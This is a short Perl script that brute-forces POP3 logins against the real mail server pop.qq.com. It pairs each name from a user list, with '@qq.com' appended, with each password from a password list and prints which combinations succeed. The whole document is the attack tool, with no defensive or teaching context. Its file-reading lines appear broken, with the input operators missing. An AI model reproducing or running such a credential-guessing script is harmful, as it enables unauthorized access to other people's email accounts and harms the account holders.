#!/usr/bin/perl

    use Net::POP3;

    $email="pop.qq.com";

    $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");

    print $pop->banner();

    $pop->quit;

    $i=0;

    open(fp1,"user.txt");

    @array1=;

    open(fp2,"pass.txt");

    @array2=;

    foreach $a(@array1) {

    $u=substr($a,0,length($a)-1);

    $u=$u."\@qq.com";

    foreach $b(@array2) {

    $p=substr($b,0,length($b)-1);

    print "cracked with ".$u."-----".$p."\n";

    $i=$i+1;

    $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");

    $m=$pop->login($u,$p);

    if($m>0)

    {

    print $u."------------".$p."----"."success"."\n";

    $pop->quit;

    }

    else

    {

    print $u."------------".$p."----"."failed"."\n";

    $pop->quit;

    }

    }

    }

    print $i;